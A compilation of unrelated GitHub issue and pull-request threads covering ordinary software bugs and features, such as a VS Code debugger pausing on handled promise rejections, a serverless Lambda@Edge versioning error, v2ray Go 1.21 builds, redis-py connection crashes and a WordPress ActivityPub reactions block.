Debugger pauses on promise rejection even though it is handled/caught (TypeScript)

Issue Type: Bug
When I'm debugging code that wraps a synchronous function in an async function, if the synchronous function throws and an async caller catches, the debugger treats error/rejection as unhandled.
Previously, I had seen this issue when an error was thrown synchronously within an async function before an await (as described in  https://github.com/Microsoft/vscode/issues/5213#issuecomment-209751961). I was able to fix the problem by making the function in question synchronous (its async behavior had been refactored out already). But the problem has reappeared after I restarted VSCode yesterday (so I have to figure it's related to an update that may have been installed on restart?).
Repro code (compiler target is es2016):
const syncThrowFn = () => {
    // Debugger pauses here
    throw new Error('welp');
};

const wrapAsAsync = <T extends Function>(fn: T) => {
    return async () => {
        return fn();
    };
};

const wrappedAsyncThrowFn = wrapAsAsync(syncThrowFn);

const asyncFn = async (): Promise<Error | void> => {
    try {
        await wrappedAsyncThrowFn();
    }
    catch (error) {
        return error;
    }
};

asyncFn().then((error: Error) => {
    // Logs the error as expected
    console.log('error', error);
});

"Uncaught Exceptions" is checked, "All Exceptions" is not.
I'm not sure this is related to to https://github.com/Microsoft/vscode/issues/1746 because:

The debugger correctly identifies the error (it's not undefined).
The debugger correctly identifies the pause as being caused by a promise rejection (it says "paused on promise rejection" in the top of the Call Stack panel.

VS Code version: Code 1.23.1 (d0182c3417d225529c6d5ad24b7572815d0de9ac, 2018-05-10T16:03:31.083Z)
OS version: Darwin x64 15.6.0

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-4980HQ CPU @ 2.80GHz (8 x 2800)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: enabledrasterization: enabledvideo_decode: enabledvideo_encode: enabledvpx_decode: enabledwebgl: enabledwebgl2: enabled

Load (avg)
4, 4, 4

Memory (System)
16.00GB (0.25GB free)

Process Argv
/Users/gnosis/Applications/Development/Visual Studio Code.app/Contents/MacOS/Electron

Screen Reader
no

VM
0%

Extensions (14)

Extension
Author (truncated)
Version

output-colorizer
IBM
0.1.2

bbcode
Squ
0.0.2

gitlens
eam
8.3.2

flow-for-vscode
flo
0.8.1

theme-macos-classic
hua
1.1.1

theme-karyfoundation-themes
kar
18.0.1

camelcasenavigation
map
0.3.42

sidetest
mat
1.1.0

theme-monokai-pro-vscode
mon
1.1.6

typescript-javascript-grammar
ms-
0.0.41

debugger-for-chrome
msj
4.4.3

vscode-icons
rob
7.23.0

trailing-spaces
sha
0.2.11

cursor-align
yo1
1.0.4

(1 theme extensions excluded)

It's possible I'm misunderstanding what's covered by #1746. If so I'd understand if this is closed as duplicate. But if this is in fact covered by #1746, it seems that issue should be marked as a bug, not as a feature request. It seems pretty clear that it's a defect that handled promise rejections are being treated as uncaught.

This is still #1746. I don't have a good way to fix it, I'm really at the mercy of the runtime, this is why chrome devtools shows the same behavior. The way TS downcompiles async/await, the runtime doesn't actually know whether the error is handled later on or not. If you run this using native async/await, it works as expected.


Modify the bounding box

Hi, I am wondering if i can add some text like the probability after the class displayed in the top corner of bounding box.
I would like to get something like this

Just solved this. See #136


[Feature request] allow threaded comments to be added to notes

per Vladimir on<EMAIL_ADDRESS>(http://markmail.org/message/e7tacn3lxuej4hfj)
In a world of collaboration systems there could be an interesting extension
to your incode-module-note feature, the capability not only to add the
notes to an entity, but also to add infinite comments to that note (in
other words to add the comment threads to the entity). In combination with
text search capability (idea #1) I thinks we could build really great
features.
Text search is https://issues.apache.org/jira/browse/ISIS-383

have raised https://github.com/incodehq/incode-platform/issues/26 for this


If provider.versionFunctions is set to false (default is true) error is returned: Could not find output by name of "NAME_OF_THE_FUNCTIONLambdaFunctionQualifiedArn" or value from it to use version ARN

If versionFunctions is set to false in provider config you receive an error because QualifiedArn could not be get.
You could reproduce this behavior with this sample.yml
service: static-site

custom:
   defaultRegion: us-east-1
   defaultEnvironmentGroup: dev
   region: ${opt:region, self:custom.defaultRegion}
   stage: ${opt:stage, env:USER}
   objectPrefix: '${self:service}-${self:custom.stage}'

plugins:
   - serverless-plugin-cloudfront-lambda-edge

package:
   exclude:
      - 'node_modules/**'

provider:
   versionFunctions: false
   name: aws
   runtime: nodejs6.10 # Because this runs on CloudFront (lambda@edge) it must be 6.10 or greater
   region: ${self:custom.region}
   stage: ${self:custom.stage}
   # Note that Lambda@Edge does not actually support environment variables for lambda
   # functions, but the plugin will strip the environment variables from any function
   # that has edge configuration on it
   environment:
      SLS_SVC_NAME: ${self:service}
      SLS_STAGE: ${self:custom.stage}

functions:
   directoryRootOriginRequestRewriter:
      name: '${self:custom.objectPrefix}-origin-request'
      handler: src/DirectoryRootOriginRequestRewriteHandler.handler
      memorySize: 128
      timeout: 1
      lambdaAtEdge:
         distribution: 'WebsiteDistribution'
         eventType: 'origin-request'

resources:
   Resources:
      WebsiteBucket:
         Type: 'AWS::S3::Bucket'
         Properties:
            BucketName: '${self:custom.objectPrefix}'
            AccessControl: 'PublicRead'
            WebsiteConfiguration:
               IndexDocument: 'index.html'
               ErrorDocument: 'error.html'
      WebsiteDistribution:
         Type: 'AWS::CloudFront::Distribution'
         Properties:
            DistributionConfig:
               DefaultCacheBehavior:
                  TargetOriginId: 'WebsiteBucketOrigin'
                  ViewerProtocolPolicy: 'redirect-to-https'
                  DefaultTTL: 600 # ten minutes
                  MaxTTL: 600 # ten minutes
                  Compress: true
                  ForwardedValues:
                     QueryString: false
                     Cookies:
                        Forward: 'none'
               DefaultRootObject: 'index.html'
               Enabled: true
               PriceClass: 'PriceClass_100'
               HttpVersion: 'http2'
               ViewerCertificate:
                  CloudFrontDefaultCertificate: true
               Origins:
                  -
                     Id: 'WebsiteBucketOrigin'
                     DomainName: { 'Fn::GetAtt': [ 'WebsiteBucket', 'DomainName' ] }
                     S3OriginConfig: {}

I am not aware of way where you could turn on function (lambda) versioning only for one function (lambda)

Lambda@Edge requires that you point to a version of a Lambda function. So, you can't disable versioning because then Lambda versions are not created.


Add cloud_gateway as prod server in Jenkins tests.

@ejona86

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Setting up the cloud_gateway tests is good work, thanks!
Nevertheless, it seems that the  go and java tests are failing against cloud_gateway (and there's one PHP test failure I'm unsure about). We can't really merge this until we figure this out.
See the report:
https://grpc-testing.appspot.com/job/gRPC_interop_pull_requests/1962/HTML_Report/

Also please fix the copyright:
tools/jenkins/run_interop.sh modified 2016 but copyright only extends to 2015

@ejona86 and @iamqizhao, can you please take a look at the java and go test failures? They were the same interop tests against the canary CFEs.

Fixed copyright.

I tracked down the Java failure. Java has broken SNI when using OpenSSL. The cloud gateway uses the same IP for google.com and googleapis.com whereas the normal gateway uses separate IPs. This means that the cloud gateway requires SNI while the normal gateway does not.
It's already been fixed upstream. We'll need to update to netty-4.1.0.CR2 to pick up the fix. Filed grpc/grpc-java#1398 for tracking upgrade.

This is replaced by #5453


Add standard tests for Queen Attack

https://github.com/exercism/todo/issues/133
While implementing Queen Attack for Rust
(https://github.com/exercism/xrust/pull/89), I surveyed all current
implementations of this exercise and documented which tests they used.
That full list of tests is here:
https://gist.github.com/IanWhitney/dd34f8a16c730f3cd77c
In order of prevalence, the five most common test types cover:

Can 2 queens attack each other?
Can 2 pieces occupy the same
space?
Comparing string representations of the
chessboard
Does a chessboard start with the queens in their default
positions?
Errors are raised if an invalid position is
used

Then there are some uncommon edge-case tests. Can there be more than one
chessboard? Can the board be empty? Algebraic chess notation? Etc.
Of the top five, I found that only numbers 1 and 5 really cover the
exercise as stated -- if I place two queens on the board, can they
attack each other?
So, those are the tests that I've documented in this json file.
Implementing the other tests requires the introduction of a Chessboard
object, and also a way to identify pieces (which team they belong to,
how they are represented as strings, etc.)  That can be interesting to
do, but I find it beyond the scope of this exercise as written.
At best, I think these tests should be suggested as Extra Credit.
Test order also varied between implementations.
I have found that the faster I can get the first test to pass, the
better. So my first test requires nothing more than a can_attack
function that returns false. The tests then build on that, adding
complexity. Then, once can_attack is fully implemented, I add the
curveball test of invalid chess positions, which will get students
thinking about bad inputs and error handling.

This is great stuff! Thanks so much for conducting the cross-track survey.
I think that you've chosen a very good set of canonical tests, and that these reflect the problem as described in the README. The algebraic notation and graphical representations are not particularly interesting in general (though I'm sure they could be interesting in some languages or to some people).

Would you be interested in writing up an issue that could be posted to all the tracks about the canonical test inputs/outputs and observations made during the survey?

@kytrinyx Sure. How's this?
Hello,
As part of the following issues:
https://github.com/exercism/x-common/issues/89
https://github.com/exercism/todo/issues/133
We'd like to have a standard set of tests for Queen Attack.
A set of standard tests was merged into x-common with https://github.com/exercism/x-common/pull/211 which you can find them here: https://github.com/exercism/x-common/blob/master/queen-attack.json
If this track is missing tests that are part of the standard set, implementing them will ensure students a more consistent experience between tracks. And if this track implements tests beyond the standard, can they be removed or clearly marked as "Extra Credit"?

Github auto formatting made that hard to copy & paste into Blazon. Let me try again.
Hello,

As part of the following issues:

https://github.com/exercism/x-common/issues/89
https://github.com/exercism/todo/issues/133

We'd like to have a standard set of tests for Queen Attack.

A set of standard tests was merged into x-common with https://github.com/exercism/x-common/pull/211 which you can find them here: https://github.com/exercism/x-common/blob/master/queen-attack.json

If this track is missing tests that are part of the standard set, implementing them will ensure students a more consistent experience between tracks. And if this track implements tests beyond the standard, can they be removed or clearly marked as "Extra Credit"?

Nice! How about fleshing it out a bit with some of the things mentioned in those issues? (Also, if this gets copy/pasted into a file, then the first line becomes the subject-line of the issue).
I've copy/pasted some things from various issues and fleshed things out a bit as well. What do you think? Too prescriptive?
queen-attack: update tests to match canonical test data

I recently completed a survey of the existing implementations of the Queen Attack problem
(Clojure, CoffeeScript, C++, C#, ECMAScript, Elixir, F#, Go, Haskell, JavaScript, Perl 5,
Python, Ruby, and Scala) per issue https://github.com/exercism/todo/issues/133

Out of that, it looks like there were five basic types of test that cover the problem as described
in the README:

1. Can 2 queens attack each other?
1. Can 2 pieces occupy the same space?
1. Comparing string representations of the chessboard
1. Does a chessboard start with the queens in their default positions?
1. Errors are raised if an invalid position is used

There were also some edge-cases that covered things like multiple chess boards, empty chess
boards, algebraic notation, and a string representation of the board.

The common test cases are now available as a canonical set of inputs/outputs for the problem:
https://github.com/exercism/x-common/blob/master/queen-attack.json

Please take a moment to review the implementation in this track to ensure that the basic set
of tests are all covered.

In addition, it would be worth discussing whether or not tests that fall outside of the basic set
should be removed or moved into a separate section marked as _extra credit_ or similar.

@kytrinyx I think that looks good. The one change I'd make is that it mentions string representations both as one of the five test types, and also as an edge case.
And I'm not sure if tracks tend to follow the order of the tests as they appear in the JSON. As I mentioned in this PR, I tried to order them in a particular way. But we almost-immediately found that my order does not work well for Rust. So we might want to mention that test order is variable?

I'm not sure if tracks tend to follow the order of the tests as they appear in the JSON.

Yeah for the generated ones, definitely. For hand-crafted ones I don't know; probably?
Do you want to re-order it in the JSON? Do you think that the order for Rust would make sense for other languages?

It's going to be so language dependent. Rust makes you deal with error cases very differently than Ruby, or PHP, etc.

Hm. Right. Should we split out the error cases in a separate section so that people can either start with errors or start with happy-path?

Maybe. Is there another exercise that we could use as a reference? I toured through the json files before submitting this PR, but didn't see a standard way of handling this.

There's no standard way of handling it, but we have multiple sections in clock.json: https://github.com/exercism/x-common/blob/master/clock.json


chore(runtime-dom): use default parameters.

why CI Failing...
but is it OK for my locally, I tried several times...
thanks...

Thank you but this one is different as it avoids the spread of an empty array and is probably intentional

هلا


feat(*): Add rebase to automerge action

Signed-off-by: Shalier Xia<EMAIL_ADDRESS>
Description:
Specified to use rebase method for updating PR branch for merge action.

Affected area:

New Functionality      [X ]
Documentation          [ ]
Install                [ ]
Control Plane          [ ]
CLI Tool               [ ]
Certificate Management [ ]
Networking             [ ]
Metrics                [ ]
SMI Policy             [ ]
Security               [ ]
Tests                  [ ]
CI System              [ ]
Demo                   [ ]
Performance            [ ]
Other                  [ ]

Please answer the following questions with yes/no.

Does this change contain code from or inspired by another project? If so, did you notify the maintainers and provide attribution?
No

Codecov Report

Merging #2916 (d5499d6) into main (e930e9a) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main    #2916   +/-   ##
=======================================
  Coverage   65.40%   65.40%
=======================================
  Files         153      153
  Lines        6905     6905
=======================================
  Hits         4516     4516
  Misses       2363     2363
  Partials       26       26

Flag
Coverage Δ

unittests
65.40% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4a92f4a...d5499d6. Read the comment docs.


Stopping the OS server closes whole browser

Assuming you use your browser to administrate OS. Besides this you have other browser tabs open.
Now you are ready with OS or you want/need to restart it. Therefore you click in the OS console on Stop server.
Result: the browser will be closed instead of the tabs used by OS. The problem is that one looses this way work for other thinks. For example I was also editing in GitHub and the closure of the browser deleted my cookies and therefore I lost work.
So stopping the OS server should either only close the browser tabs of OS or simply logging the current OS user out and keep everything in the browser.

Do you mean the openslides portable for windows? And you click only on the "Stop server" button to exit the full browser? Which browser do you use?

Do you mean the openslides portable for windows?

Yes.

And you click only on the "Stop server" button to exit the full browser?

No, I did not want to to close the browser. I just wanted to restart the OS server, therefore I stopped this. but this also closed my browser - which should not have happened.

Which browser do you use?

The latest Firefox in the 64bit version.
Btw. I don't think this bug is pressing.

Fixed with https://github.com/OpenSlides/openslides-gui/pull/14

Confirmed fixed. Many thanks!


Can it be compiled with go1.21 version supported?

What version of V2Ray are you using?
I compile my code using the version：github.com/v2fly/v2ray-core/v5 v5.7.0

What's your scenario of using V2Ray?
use v2ray code in my project

What problems have you encountered?
The go1.21 version is released, I want to use this version to compile my project, but the following error is prompted
# github.com/quic-go/quic-go/internal/qtls
pkg\mod\github.com\quic-go\quic-go@v0.33.0\internal\qtls\go121.go:5:13: cannot use "The version of quic-go you're using can't be built on Go 1.21 yet. For more details, please see https://github.com/
quic-go/quic-go/wiki/quic-go-and-Go-versions." (untyped string constant "The version of quic-go you're using can't be built on Go 1.21 yet. F...) as int value in variable declaration

What's your expectation?
The v2ray project can be compiled using go1.21 version
Description of related libraries：https://github.com/quic-go/quic-go/wiki/quic-go-and-Go-versions
I found that the latest version of the library already supports go1.21, and I hope v2ray can follow up
https://github.com/quic-go/quic-go/blob/v0.37.3/internal/qtls/go121.go

We are waiting the Go 1.21 support of quic-go .

Please wait for the next release.

Please wait for the next release.

looking forward to the new version, thank you very much

quic-go 0.37.x already support Go 1.20 and 1.21. See https://github.com/quic-go/quic-go/releases
Judging by the diff https://github.com/v2fly/v2ray-core/compare/v5.7.0...master it just needs a new release.

@stefanb Thank you very much, my own project also tested like this without any problem. Still looking forward to the release of the latest version of v2ray-core

the home-brew can't install v2ray because of this error and someone like me is stopped.

v5.9.0 had been released.

homebrew side is good with the new release, https://github.com/Homebrew/homebrew-core/pull/152400


npm start --build is not generating the dist folder

I am trying to get my production bundle in order to deploy into Production.
After running

npm start --build

I am not able to see my dist folder.
Can anyone help me on understand how to get my dist folder properly?

Can you provide some more info? Which skeleton are you using? I just want to make sure you are trying that in the right place, since that's not how all the skeletons work.

Closing this since we don't take questions here. Only bugs and features. It's better asked in Gitter or Stack Overflow.

@EisenbergEffect I am using the skeleton-typescript-webpack skeleton.

Your command is incorrect.
You could use npm start -- build, not npm start --build. Notice that build is the 4th argument, after --.


config.md: typo and sentence fix

Signed-off-by: Ma Shimiao<EMAIL_ADDRESS>

LGTM
Thank you!

LGTM


MAINTAINERS: add Hitoshi as a maintainer of auth pkg

/cc @philips @heyitsanthony @gyuho

lgtm

LGTM. Thanks.


Preloader Images

Hello, i was trying to generate a low sized preload images which would be the blurred version of the original image. Just like if you visit blogs at medium. The images show a blurred skeleton of the image and once loaded it shows the original image. Is there a way i can generate a blurred + lowest size possible image?
like this image
I tried, blur 100 and quality 1 but it doesn't look good.

You may want to try use progressive jpeg, http://glide.thephpleague.com/1.0/api/encode/#format-fm


Version number and CLI option

Awesome project that we use daily! One thing we do with go generate is to invoke esc as part of our code generation step to bundle the assets and whatnot into a few "static.go"esq files. It would be very useful to be able to query the version of esc to validate its existence before attempting to use it.

I'm not sure what problem this is solving. What does "query the version of esc to validate its existence" mean?

You are right, it does not really solve anything. I check esc's existence in our build slaves via whatever scripting env I have.


Users cannot be deleted from a meeting

Currently it is not possible to delete a user from a meeting. Neither by multiple selection nor in the user detail view. When deleting, an error message appears at the bottom of the screen and in the console.
Repro:

open a meeting
go to participants and create via plus icon a user
try to delete the user in details view and via multi selection

Fun fact: As a superadmin i got kicked back to the dashboard if i try to deleted a user in the detail view.
Affected OS4 Version: 4.0.0-beta-20220718-996743f and todays nightly build
What should happen: Users can be deleted.

So you deleted the user in one view, saw that he was still in the list and then attempted to delete him again, getting you this error? (I will assume that this is what happened, since that is the only way I could replicate that error)
The cause of this is a problem that currently exists between the autoupdate service and the client. The client, for some reason, is currently not receiving updates on deleted users from the autoupdate service. Since these deletions do not get reported, clients currently have no way of knowing, if the users in their browser storage have been deleted. That's why deleted users remain in the userlist.
Since the client still thinks that the user exists, he will still permit you to perform actions on that user, read his data and so on, but if he sends an action concerning that user to the backend, the backend will naturally send errors.
@MSoeb  Currently if you want to check if your deletions happen, I would advise to reload the list. That reloads all data and you will see that the user whom you have "failed" to delete is actually gone.
For now I will look into the behaviour where attempting to delete a user from the detail view gets you thrown out of the meeting. The updating issue will sadly have to wait, until there's a solution for the autoupdate problem

Will be covered by solutions to #1444 and #1344


Distortion of default task name in task iq

When decorating task handler with inject, the default task name is distorted. The module to which the task belongs is changed to dishka.integrations.base
Reproduction of this error:
import asyncio
import random

from taskiq import AsyncTaskiqTask, InMemoryBroker

from dishka import FromDishka, Provider, Scope, make_async_container
from dishka.integrations.taskiq import inject, setup_dishka, TaskiqProvider

provider = Provider(scope=Scope.REQUEST)
provider.provide(lambda: random.random(), provides=float)  # noqa: S311

broker = InMemoryBroker()

@broker.task
@inject
async def dishka_task(num: FromDishka[float]) -> float:
    return num

@broker.task
async def my_task() -> None: ...

print("With inject: ", dishka_task.task_name)
print("Without inject: ", my_task.task_name)

Output:
With inject:  dishka.integrations.base:dishka_task
Without inject:  my_app.tasks:my_task

Expected:
With inject:  my_app.tasks:dishka_task
Without inject:  my_app.tasks:my_task

We need to patch __module__ as well as __name__ and __qualname__ when decorating funcs.
Due to compatibility we should introduce new decorator for taskiq and mark old one as deprecated

@Tishka17  Can I take on this task for myself?


fix: observe line length limits

Gfortran prior to version 14 imposes a line length limit that leads to a compile time error if lines in the source code are longer than 72 characters. This pull request updates RF90.f90 so that it can be compiled with gfortran-13 without the need for compiler flags changing the default line length limit.

I've tested this locally and it works for me


Carthage fails because of missing file

When I carthage update --platform iOS it builds everything until RelationshipExtractionV1Beta, where it fails because of the following:
The following build commands failed:
    CopyPlistFile /Library/Developer/Xcode/DerivedData/WatsonDeveloperCloud-bnlrrrdfudasexfivpmkoicqhcen/Build/Products/Release-iphoneos/RelationshipExtractionV1BetaTests.xctest/Credentials.plist Source/SupportingFiles/Credentials.plist
(1 failure)

Sure enough, it looks like Credentials.plist is missing. I now see that before_install in the Travis file creates the file, but alas I still get this error!

Thanks for letting us know! Sorry you ran into this problem.
I just pushed an update to fix this problem with v0.4.2. If you run carthage update --platform iOS again then all frameworks should build successfully.
For what it's worth, the Credentials.plist file is a file that we use internally to store our team's credentials to testing services. It's only included in test targets (which shouldn't be built by Carthage). There was a bug with the RelationshipExtractionV1Beta scheme, though, that caused Carthage to try and build the RelationshipExtractionV1BetaTests target. Of course, that build failed because it requires the Credentials.plist file which we do not commit to the repository.

As far as I can tell v0.4.2 fixes this problem. I'm going to close the issue, but please let us know if you run into any bugs. We'll do our best to fix them quickly.


Non-graceful crash when redis connection goes down

I'm using django-redis-cache backend (which utilizes redis-py) with redis. Traceback:
File "/home/dotcloud/current/loyalty/api/models.py", line 48, in expire_apiclient_caches
cache.delete(cache_key)
File "/home/dotcloud/env/lib/python2.6/site-packages/redis_cache/cache.py", line 220, in delete
self._client.delete(self.make_key(key, version=version))
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/client.py", line 276, in delete
return self.execute_command('DEL', *names)
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/client.py", line 238, in execute_command
connection.send_command(*args)
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/connection.py", line 200, in send_command
self.send_packed_command(self.pack_command(*args))
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/connection.py", line 194, in send_packed_command
self.disconnect()
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/connection.py", line 162, in disconnect
self._parser.on_disconnect()
File "/home/dotcloud/env/lib/python2.6/site-packages/redis/connection.py", line 14, in on_disconnect
self._fp.close()
AttributeError: 'NoneType' object has no attribute 'close'
Our hosting provider (dotcloud) ran into some gateway issues and communication with the redis server was being intermittent. This lead to a whole host of requests throwing the AttributeError. Is there a way it can except more gracefully?

It sounds like you're using version 2.4.0 of redis-py. I'd suggest upgrading to the newest, 2.4.10. The error you're experiencing was fixed in 2.4.1.
However, if the host cannot be reached, a ConnectionError will still be raised. I don't know if django-redis-cache handles that or not.

Is 2.4.10 compatible with redis 2.2.14?
On Wed, Nov 9, 2011 at 5:44 PM, Andy McCurdy <
<EMAIL_ADDRESS>
It sounds like you're using version 2.4.0 of redis-py. I'd suggest
upgrading to the newest, 2.4.10. The error you're experiencing was fixed in
2.4.1.
However, if the host cannot be reached, a ConnectionError will still be
raised. I don't know if django-redis-cache handles that or not.

Reply to this email directly or view it on GitHub:
https://github.com/andymccurdy/redis-py/issues/214#issuecomment-2690461

Ya, everything should work fine. Note that if you're using publish/subscribe, the API in redis-py has changed significantly -- it was broken before and needed to be refactored to fix the errors.
Check out the CHANGES file in the repository to get an idea of what's changed between 2.4.0 and 2.4.10.

Thanks :)
On Wed, Nov 9, 2011 at 5:53 PM, Andy McCurdy <
<EMAIL_ADDRESS>
Ya, everything should work fine. Note that if you're using
publish/subscribe, the API in redis-py has changed significantly -- it was
broken before and needed to be refactored to fix the errors.
Check out the CHANGES file in the repository to get an idea of what's
changed between 2.4.0 and 2.4.10.

Reply to this email directly or view it on GitHub:
https://github.com/andymccurdy/redis-py/issues/214#issuecomment-2690520

Sure, no problem. Closing this issue. Please re-open if you're still running into issues.


Fix SDF pattern in DataPreprocessingHelper

Description
The SDF pattern can be null if the time column isn't simple date format (e.g. it can be timestamp), and this will make the set() method failed with the following exception:
Caused by: java.lang.IllegalArgumentException: The value of property segment.time.sdf.pattern must not be null
at com.google.common.base.Preconditions.checkArgument(Preconditions.java:115)
at org.apache.hadoop.conf.Configuration.set(Configuration.java:1260)
at org.apache.hadoop.conf.Configuration.set(Configuration.java:1241)
at org.apache.pinot.hadoop.job.preprocess.DataPreprocessingHelper.setValidationConfigs(DataPreprocessingHelper.java:201)
at org.apache.pinot.hadoop.job.preprocess.DataPreprocessingHelper.setUpJob(DataPreprocessingHelper.java:105)
at org.apache.pinot.hadoop.job.HadoopSegmentPreprocessingJob.run(HadoopSegmentPreprocessingJob.java:107)

Upgrade Notes
Does this PR prevent a zero down-time upgrade? (Assume upgrade order: Controller, Broker, Server, Minion)

[ ] Yes (Please label as backward-incompat, and complete the section below on Release Notes)

Does this PR fix a zero-downtime upgrade introduced earlier?

[ ] Yes (Please label this as backward-incompat, and complete the section below on Release Notes)

Does this PR otherwise need attention when creating release notes? Things to consider:

New configuration options
Deprecation of configurations
Signature changes to public methods/interfaces
New plugins added or old plugins removed

[ ] Yes (Please label this PR as release-notes and complete the section on Release Notes)

Release Notes

Documentation

Codecov Report

Merging #7721 (33ff293) into master (91d2a95) will decrease coverage by 56.95%.
The diff coverage is n/a.

@@              Coverage Diff              @@
##             master    #7721       +/-   ##
=============================================
- Coverage     71.50%   14.54%   -56.96%
+ Complexity     4033       80     -3953
=============================================
  Files          1581     1535       -46
  Lines         80472    78598     -1874
  Branches      11954    11751      -203
=============================================
- Hits          57540    11432    -46108
- Misses        19037    66325    +47288
+ Partials       3895      841     -3054

Flag
Coverage Δ

integration1
?

integration2
?

unittests1
?

unittests2
14.54% <ø> (+<0.01%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 91d2a95...33ff293. Read the comment docs.


Add a reaction block

This will add a block to display Likes and Reposts in a single block.
Fixes #1057
Proposed changes:

Adds a Reactions block
It automatically gets hooked to be placed after the post content block
Enable reactions by default!

A (not quite up to date) video of it in action:
https://github.com/user-attachments/assets/e8d381b2-9627-489d-a528-b080b0ab498a
Other information:

[ ] Have you written new tests for your changes, if applicable?

Testing instructions:
With this PR active, view a post on the frontend that already has a number of Likes and Reposts. The reactions block should be inserted directly after the post content:

The block is automatically added via a block hook. It should be opted in, and can be disabled in the Single Post template in the Site Editor: (also note the dummy content in the Editor)

Every row of icons, if there are too many to fit the width, should limit the number of avatars shown so that none are cut off.

Avatars and names are shown if you click on the n reposts (or likes) label to the right of the avatars:

On a post with no likes or reposts, nothing will be shown, not even the title.
The title ("Fediverse reactions" by default) is editable.

Awesome!! 🎉
Maybe one first little feedback: Maybe we should have a line break after the label (and use it more as a headline) so that the icon lists are all aligned?

Nice!
I believe this would fix #235 as well?

@mattwiebe what about icons at the beginning of each line https://wordpress.github.io/gutenberg/?path=/docs/icons-icon--docs ???

reusableBlock for reposts
and the heart you are already using for like

We could use the icon attribute for that. Either store the @wordpress/icons key or an SVG? https://github.com/Automattic/wordpress-activitypub/blob/e7fa73c84669d8564050490cdd0ed6062431ef93/includes/class-comment.php#L616

Is it possible to use the comment type registry instead of hardcoding to the two types? So that it is easier to add new types, either in the plugin or an external one?

Does not have to be in the first iteration!

Is it possible to use the comment type registry instead of hardcoding to the two types? So that it is easier to add new types, either in the plugin or an external one?

Done in https://github.com/Automattic/wordpress-activitypub/pull/1070/commits/fb55c1f99f23c9128ff968f086e616f940190fc9 ! (props Windsurf lol)

Can you ask Windsurf to also update the react code to support them? 🥸

I ask for a friend... 😅

Can you ask Windsurf to also update the react code to support them? 🥸
I ask for a friend... 😅

We had another good collaboration https://github.com/Automattic/wordpress-activitypub/pull/1070/commits/c37516344ea74164ca837074d30396fbfddd98e3 - this is the type of stuff I would wave off to keep focused on shipping but refactors like this go surprisingly well.

The block is automatically added via a block hook. It should be opted in, and can be disabled in the Single Post template in the Site Editor: (also note the dummy content in the Editor)

With this hook it seems to also add the reactions to the "home" and "archive" pages.

@pfefferle the editor component appears to have broken. That's why nothing was showing for you, there. Should be fixed by https://github.com/Automattic/wordpress-activitypub/pull/1070/commits/c4a87a2e7c34096b1db5fef3fcbc9f9279f5f5e0

@mattwiebe nice! I will re-test on Monday!

@mattwiebe the FSE editing experience seems to work fine now, but I can't see any likes in the frontend!

Remaining Tasks

[ ] Limit Reaction Setting to non-block themes.
[ ] Add a link to Site Editor for block themes in Settings.
[ ] Tone down hover animation.

@Automattic/fediverse Ready to test some more, I think everything should be addressed!

It looks like aab821d4 broke the unit test that checked whether reactions are enabled for an individual post while they are deactivated globally.
Is that something we don't want to support?

If we want to have a setting that deactivates the feature globally then we need to have a different setting to add the reactions to the post or not!

We've removed support for auto-appending the Reactions block to classic themes. Those users can either insert the block manually, or edit their PHP templates to output the block like:
do_blocks( '<!-- wp:activitypub/reactions {"title":"Fediverse Reactions"} /-->' );

We may revisit this, but it was getting too complex and blocking shipping


ReferenceError: sizeEdgeVal is not defined error on osd branch

The latest version on the OSD branch doesn't allow to create node-relation networks. It raises the ReferenceError when drawing the relationships.
ReferenceError: sizeEdgeVal is not defined
    dataNodes http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    _ret http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    renderVis http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    c http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
    completeTask http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
    r http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
osd-ui-shared-deps.js:430:78980
ReferenceError: sizeEdgeVal is not defined
    dataNodes http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    _ret http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    renderVis http://localhost:5601/3032/bundles/plugin/kbnNetwork/kbnNetwork.plugin.js:135
    c http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
    completeTask http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
    r http://localhost:5601/3032/bundles/osd-ui-shared-deps/osd-ui-shared-deps.js:430
 Possibly unhandled rejection: {} osd-ui-shared-deps.js:430:78980

Error fixed. Thanks!


Splitby

This would be a function that would split one iterable in two, depending on a condition.
const [first, second] = splitBy((item) => item === ' ', 'hello world')
Array.from(first) // ['h', 'e', 'l', 'l', 'o']
Array.from(second) // [' ', 'w', 'o', 'r', 'l', 'd']

^^^ I am undecided about the separator
It should be an optimised version of:
const [clone1, clone2] = fork('hello world')
const first = takeWhile((item) => item !== ' ', clone1)
const second = dropWhile((item) => item !== ' ', clone2)

proposed in #134

The condition function may return true multiple times (I know this isn't the case with takeWhile and dropWhile, but it may be in the optimised version), should we also split the iterable into more than 2 parts?

You are right @KSXGitHub . It is better if I figure out a use case before going on with this

What if we just called it split and it removed the sentinel item and emitted a fully variable number of iterables? Then it would be the iterable equivalent of String.prototype.split.

What if we just called it split and it removed the sentinel item and emitted a fully variable number of iterables? Then it would be the iterable equivalent of String.prototype.split.

String.prototype.split does not take function argument.

